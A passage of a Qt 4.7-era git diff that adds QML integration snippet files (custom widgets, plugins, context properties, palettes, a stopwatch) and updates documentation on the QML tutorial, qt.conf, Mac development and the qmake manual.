+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include <QtDeclarative/qdeclarative.h>
+#include <QGraphicsWidget>
+#include <QPainter>
+
+class RedSquare : public QGraphicsWidget
+{
+    Q_OBJECT
+public:
+    void paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+    {
+        painter->fillRect(0, 0, size().width(), size().height(), QColor(Qt::red));
+    }
+};
+
+QML_DECLARE_TYPE(RedSquare)
+//![0]
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp b/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp
new file mode 100644
index 0000000..4c18ef3
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include "redsquare.h"
+#include "bluecircle.h"
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+#include <QtDeclarative/qdeclarative.h>
+
+class ShapesPlugin : public QDeclarativeExtensionPlugin
+{
+    Q_OBJECT
+public:
+    void registerTypes(const char *uri) {
+        qmlRegisterType<RedSquare>(uri, 1, 0, "RedSquare");
+        qmlRegisterType<BlueCircle>(uri, 1, 0, "BlueCircle");
+    }
+};
+
+#include "shapesplugin.moc"
+
+Q_EXPORT_PLUGIN2(shapesplugin, ShapesPlugin);
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro b/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro
new file mode 100644
index 0000000..68eeaf2
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp b/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp
new file mode 100644
index 0000000..15e3d4c
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QDeclarativeComponent>
+#include <QDeclarativeEngine>
+
+//![0]
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+int main(int argc, char *argv[])
+{
+    QApplication app(argc, argv);
+
+    QDeclarativeView view;
+    QDeclarativeContext *context = view.rootContext();
+    context->setContextProperty("backgroundColor",
+                                QColor(Qt::yellow));
+
+    view.setSource(QUrl("main.qml"));
+    view.show();
+
+    return app.exec();
+}
+//![0]
+
+static void alternative()
+{
+    // Alternatively, if we don't actually want to display main.qml:
+//![1]
+    QDeclarativeEngine engine;
+    QDeclarativeContext *windowContext = new QDeclarativeContext(engine.rootContext());
+    windowContext->setContextProperty("backgroundColor", QColor(Qt::yellow));
+
+    QDeclarativeComponent component(&engine, "main.qml");
+    QObject *window = component.create(windowContext);
+//![1]
+}
+
+
diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml b/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml
new file mode 100644
index 0000000..1053f73
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml
@@ -0,0 +1,15 @@
+//![0]
+import Qt 4.7
+
+Rectangle {
+    width: 300
+    height: 300
+
+    color: backgroundColor
+
+    Text {
+        anchors.centerIn: parent
+        text: "Hello Yellow World!"
+    }
+}
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h
new file mode 100644
index 0000000..d0d253a
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QObject>
+#include <QColor>
+
+//![0]
+class CustomPalette : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(QColor background READ background WRITE setBackground NOTIFY backgroundChanged)
+    Q_PROPERTY(QColor text READ text WRITE setText NOTIFY textChanged)
+
+public:
+    CustomPalette() : m_background(Qt::white), m_text(Qt::black) {}
+    
+    QColor background() const { return m_background; }
+    void setBackground(const QColor &c) {
+        if (c != m_background) {
+            m_background = c;
+            emit backgroundChanged();
+        }
+    }
+    
+    QColor text() const { return m_text; }
+    void setText(const QColor &c) {
+        if (c != m_text) {
+            m_text = c;
+            emit textChanged();
+        }
+    }
+
+signals:
+    void textChanged();
+    void backgroundChanged();
+    
+private:
+    QColor m_background;
+    QColor m_text;
+};
+
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro
new file mode 100644
index 0000000..e6af0d0
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro
@@ -0,0 +1,3 @@
+QT += declarative
+HEADERS += custompalette.h
+SOURCES += main.cpp
diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp b/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp
new file mode 100644
index 0000000..c723688
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+#include "custompalette.h"
+
+//![0]
+int main(int argc, char *argv[])
+{
+    QApplication app(argc, argv);
+
+    QDeclarativeView view;
+    view.rootContext()->setContextProperty("palette", new CustomPalette);
+
+    view.setSource(QUrl("main.qml"));
+    view.show();
+
+    return app.exec();
+}
+//![0]
+
diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/main.qml b/doc/src/declarative/snippets/qtbinding/custompalette/main.qml
new file mode 100644
index 0000000..f1a3b4f
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/custompalette/main.qml
@@ -0,0 +1,22 @@
+//![0]
+import Qt 4.7
+
+Rectangle {
+    width: 240
+    height: 320
+    color: palette.background
+    
+    Text {
+        anchors.centerIn: parent
+        color: palette.text
+        text: "Click me to change color!"
+    }
+    
+    MouseArea {
+        anchors.fill: parent
+        onClicked: {
+            palette.text = "blue";
+        }
+    }
+}
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/resources/example.qrc b/doc/src/declarative/snippets/qtbinding/resources/example.qrc
new file mode 100644
index 0000000..5e49415
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/resources/example.qrc
@@ -0,0 +1,10 @@
+<!DOCTYPE RCC>
+<RCC version="1.0">
+
+<qresource prefix="/">
+    <file>main.qml</file>
+    <file>images/background.png</file>
+</qresource>
+
+</RCC>
+
diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.24.png b/doc/src/declarative/snippets/qtbinding/resources/images/background.png
index e69de29..e69de29 100644
--- a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.24.png
+++ b/doc/src/declarative/snippets/qtbinding/resources/images/background.png
diff --git a/doc/src/declarative/snippets/qtbinding/resources/main.cpp b/doc/src/declarative/snippets/qtbinding/resources/main.cpp
new file mode 100644
index 0000000..5459b9e
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/resources/main.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+//![0]
+int main(int argc, char *argv[])
+{
+    QApplication app(argc, argv);
+
+    QDeclarativeView view;
+    view.setSource(QUrl("qrc:/main.qml"));
+    view.show();
+
+    return app.exec();
+}
+//![0]
+
diff --git a/doc/src/declarative/snippets/qtbinding/resources/main.qml b/doc/src/declarative/snippets/qtbinding/resources/main.qml
new file mode 100644
index 0000000..dfe923f
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/resources/main.qml
@@ -0,0 +1,7 @@
+//![0]
+import Qt 4.7
+
+Image {
+    source: "images/background.png"
+}
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/resources/resources.pro b/doc/src/declarative/snippets/qtbinding/resources/resources.pro
new file mode 100644
index 0000000..cc01ee1
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/resources/resources.pro
@@ -0,0 +1,4 @@
+QT += declarative
+
+SOURCES += main.cpp
+RESOURCES += example.qrc
diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp b/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp
new file mode 100644
index 0000000..13e3b9f
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "stopwatch.h"
+
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+#include <QApplication>
+
+//![0]
+int main(int argc, char *argv[])
+{
+    QApplication app(argc, argv);
+
+    QDeclarativeView view;
+    view.rootContext()->setContextProperty("stopwatch",
+                                           new Stopwatch);
+
+    view.setSource(QUrl("main.qml"));
+    view.show();
+
+    return app.exec();
+}
+//![0]
+
diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml b/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml
new file mode 100644
index 0000000..2efa542
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml
@@ -0,0 +1,18 @@
+//![0]
+import Qt 4.7
+
+Rectangle {
+    width: 300
+    height: 300
+
+    MouseArea {
+        anchors.fill: parent
+        onClicked: {
+            if (stopwatch.isRunning())
+                stopwatch.stop()
+            else
+                stopwatch.start();
+        }
+    }
+}
+//![0]
diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp
new file mode 100644
index 0000000..4954a5f
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "stopwatch.h"
+
+Stopwatch::Stopwatch()
+    : m_running(false)
+{
+}
+
+bool Stopwatch::isRunning() const
+{
+    return m_running;
+}
+
+void Stopwatch::start()
+{
+    m_running = true;
+}
+
+void Stopwatch::stop()
+{
+    m_running = false;
+}
+
diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h
new file mode 100644
index 0000000..8d17121
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QObject>
+
+//![0]
+class Stopwatch : public QObject
+{
+    Q_OBJECT
+public:
+    Stopwatch();
+    
+    Q_INVOKABLE bool isRunning() const;
+    
+public slots:
+    void start();
+    void stop();
+
+private:
+    bool m_running;
+};
+
+//![0]
+
diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro
new file mode 100644
index 0000000..d803e6a
--- /dev/null
+++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro
@@ -0,0 +1,3 @@
+QT += declarative
+HEADERS += stopwatch.h
+SOURCES += main.cpp stopwatch.cpp
diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc
index 310b776..1a93d05 100644
--- a/doc/src/declarative/tutorial.qdoc
+++ b/doc/src/declarative/tutorial.qdoc
@@ -114,11 +114,11 @@ In this case, we specify that our text element should be horizontally centered i
 
 \section2 Viewing the example
 
-To view what you have created, run the qmlviewer (located in the \c bin directory) with your filename as the first argument.
+To view what you have created, run the \l{Qt Declarative UI Runtime}{qml} tool (located in the \c bin directory) with your filename as the first argument.
 For example, to run the provided completed Tutorial 1 example from the install location, you would type:
 
 \code
-bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml
+bin/qml $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml
 \endcode
 */
 
@@ -155,13 +155,13 @@ An \l Item is the most basic visual element in QML and is often used as a contai
 
 \snippet examples/declarative/tutorials/helloworld/Cell.qml 4
 
-We declare a \c color property. This property is accessible from  \e outside our component, this allows us
+We declare a \c cellColor property. This property is accessible from  \e outside our component, this allows us
 to instantiate the cells with different colors.
 This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{intro-properties}{Properties}).
 
 \snippet examples/declarative/tutorials/helloworld/Cell.qml 5
 
-We want our component to also have a signal that we call \e clicked with a \e color parameter.
+We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color.
 We will use this signal to change the color of the text in the main QML file later.
 
 \snippet examples/declarative/tutorials/helloworld/Cell.qml 2
@@ -189,7 +189,7 @@ We create the color picker by putting 6 cells with different colors in a grid.
 
 \snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1
 
-When the \e clicked signal of our cell is triggered, we want to set the color of the text to the color passed as a parameter.
+When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter.
 We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}).
 */
 
diff --git a/doc/src/deployment/qt-conf.qdoc b/doc/src/deployment/qt-conf.qdoc
index b195889..298f539 100644
--- a/doc/src/deployment/qt-conf.qdoc
+++ b/doc/src/deployment/qt-conf.qdoc
@@ -87,6 +87,7 @@
     \row \o Libraries           \o \c lib
     \row \o Binaries            \o \c bin
     \row \o Plugins             \o \c plugins
+    \row \o Imports             \o \c imports
     \row \o Data                \o \c .
     \row \o Translations        \o \c translations
     \row \o Settings            \o \c .
diff --git a/doc/src/development/developing-on-mac.qdoc b/doc/src/development/developing-on-mac.qdoc
index 1eb829e..785858f 100644
--- a/doc/src/development/developing-on-mac.qdoc
+++ b/doc/src/development/developing-on-mac.qdoc
@@ -67,23 +67,25 @@
 
     \section2 Carbon or Cocoa?
     
-    Qt supports building in two flavors, using either the Carbon or Cocoa APIs.
-    Using the Cocoa toolkit, Qt requires 10.5 and provides 64-bit support. With
-    Carbon Qt can be developed on and deployed to 10.4, but there is no 64-bit
+    Qt supports building in two flavors, using either the Carbon or Cocoa API.
+    Using the Cocoa API, Qt requires 10.5 and provides both 32-bit and 64-bit support. With
+    Carbon, Qt can be developed on and deployed to 10.4, but there is no 64-bit
     support.
 
-    With Qt 4.7 we now recommend using the Cocoa version of Qt for development,
-    unless you want to target the 10.4 platform. Qt now uses Cocoa by default,
-    both for the binary package and when configuring from source. Download the 
-    Carbon binary packages or configure with "-carbon" to use that version.
+    Note: There is no accessibility support in the Cocoa version. This is planned
+    for Qt 4.8.
+
+    With Qt 4.7 we recommend using the Cocoa version of Qt for development,
+    unless you want to target the 10.4 platform. Qt uses Cocoa by default,
+    both for the binary package and when configuring Qt from source (using the \c{configure}
+    script). To build Qt for Carbon, specify the \c{-carbon} flag to configure.
 
     There are two versions of the Qt binary, one with x86 and x86_64
     Cocoa and another with x86 and ppc Carbon. If you want a different setup
-    you must build from source. Carbon or Cocoa is chosen when
-    configuring the package for building. The configure process selects Carbon
-    by default, to specify Cocoa use the \c{-cocoa} flag.  configure for a
-    64-bit architecture using one of the \c{-arch} flags (see \l{universal
-    binaries}{Universal Binaries}).
+    you must build Qt yourself using the source package. To explicitly configure
+    Qt to build for 34-bit or 64-bit architectures (or both), use
+    the \c{-arch} flags (see \l{universal binaries}{Universal Binaries}).
+    For the Cocoa version, 64 bit is chosen by default.
 
     Currently, Apple's default GCC compiler is used by default (GCC 4.0.1 on
     10.4 and 10.5, GCC 4.2 on 10.6). You can specify alternate compilers
@@ -147,7 +149,7 @@
 
     Carbon and Cocoa both have their advantages and disadvantages. Probably the
     easiest way to determine is to look at the version of Mac OS X you are
-    targetting. If your application can target 10.5 and up, then we reccomend 
+    targetting. If your application can target 10.5 and up, then we recommend 
     using Cocoa. If you need to target earlier versions of the operating system
     and do not need access to 64-bit or newer Apple technologies, then Carbon 
     is a good fit. If your needs fall in between, you can go with a 64-bit Cocoa and 32-bit
@@ -160,6 +162,17 @@
     the 32-bit libraries into memory if everything else is 64-bit.  If you want
     to follow this advice, there is only one choice, 64-bit Cocoa.
 
+
+    \section2 Building Qt statically
+
+    We recommend building Qt as shared frameworks. Static builds are only partially
+    supported, meaning that you can build most of Qt statically, but some modules,
+    like web-kit and Designer, will fail. You can specify which modules to build
+    from configure (e.g. -no-webkit -nomake tools). For Cocoa configurations, both
+    static and no-framework builds requires manually copying the
+    'src/gui/mac/qt_menu.nib/ directory into the " Resources" directory in
+    the application bundle.
+
     \target universal binaries
     \section1 Universal Binaries
 
@@ -194,8 +207,9 @@
             \o \c{-arch ppc64}
     \endtable
 
-    If there are no \c{-arch} flags specified, configure builds for the 32-bit
-    architecture, if you are currently on one. Universal binaries were initially
+    If there are no \c{-arch} flags specified, configure builds Qt for a 32-bit
+    architecture when using Carbon, and a 64-bit architecture when using Cocoa. Universal
+    binaries were initially
     used to simplify the PPC to Intel migration. You can use \c{-universal} to
     build for both the 32-bit Intel and PPC architectures.
 
@@ -208,6 +222,45 @@
     CONFIG += x86 ppc x86_64 ppc64
     \endcode
 
+    \section2 Working with several versions of Qt
+    You can only install one version of Qt at a time when using the binary
+    package. The reason for this is that a binary installation will install different parts of Qt
+    (frameworks, documentation, examples, tools, etc) to different
+    predefined locations on the OS, as described by Apple. If you want
+    to work against other versions at the same time, you need
+    to build the other versions explicitly from source. When doing so, you can
+    provide \c{-prefix} to configure to set install location. 
+    The binary package will install Qt to the following locations: 
+
+    \table
+        \header
+            \o Qt
+            \o Location
+        \row
+            \o Designer, Linguist ...
+            \o /Developer/Applications/Qt
+        \row
+            \o Documentation
+            \o /Developer/Documentation/Qt
+        \row
+            \o Examples
+            \o /Developer/Examples/Qt
+        \row
+            \o Plugins
+            \o /Developer/Applications/Qt/Plugins
+        \row
+            \o Frameworks
+            \o /Library/Frameworks
+        \row
+            \o Libraries
+            \o /usr/lib
+        \row
+            \o qmake, moc, uic ...
+            \o /Developer/Tools/Qt (symlink to /usr/bin)
+        \row
+            \o uninstall-qt.py, uninstall-qtsdk.py
+            \o /Developer/Tools
+    \endtable
 
     \section1 Day-to-Day Application Development on OS X
 
diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
index 8e1d970..688122b 100644
--- a/doc/src/development/qmake-manual.qdoc
+++ b/doc/src/development/qmake-manual.qdoc
@@ -1329,9 +1329,13 @@
     \target DEF_FILE
     \section1 DEF_FILE
 
-    \e {This is only used on Windows when using the \c app template}.
+    \e {This is only used on Windows when using the \c app template,
+    and on Symbian when building a shared DLL}.
 
-    Specifies a \c .def file to be included in the project.
+    Specifies a \c .def file to be included in the project. On Symbian
+    a directory may be specified instead, in which case the real files
+    will be located under the standard Symbian directories \c bwins and
+    \c eabi.
 
     \target DEPENDPATH
     \section1 DEPENDPATH
@@ -1421,12 +1425,20 @@ is the application private directory on the drive it is installed to.
     attention that also other statements stay valid. For example if you
     override languages statement, you must override also package-header
     statement and all other statements which are language specific.
+
+    On the Symbian platform, the \c default_deployment item specifies
+    default platform and package dependencies. Those dependencies can be
+    selectively disabled if alternative dependencies need to be defined
+    - e.g. if a specific device is required to run the application or
+    more languages need to be supported by the package file. The supported
+    \c default_deployment rules that can be disabled are:
     
-    On the Symbian platform, the \c default_deployment item specifies 
-    default platform dependencies. It can be overwritten if a more 
-    restrictive set is needed - e.g. if a specific
-    device is required to run the application.
-    
+    \list
+    \o pkg_depends_qt
+    \o pkg_depends_webkit
+    \o pkg_platform_dependencies
+    \endlist
+
     For example:
     
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 141
@@ -2601,7 +2613,7 @@ For example:
 
     \section1 QMAKE_LIBS_THREAD
 
-    \e {This is used on Unix platforms only.}
+    \e {This is used on Unix and Symbian platforms only.}
 
     This variable contains all libraries that need to be linked against
     when building a multi-threaded application.  The
diff --git a/doc/src/examples/bearercloud.qdoc b/doc/src/examples/bearercloud.qdoc
new file mode 100644
index 0000000..c7acf04
--- /dev/null
+++ b/doc/src/examples/bearercloud.qdoc
@@ -0,0 +1,197 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
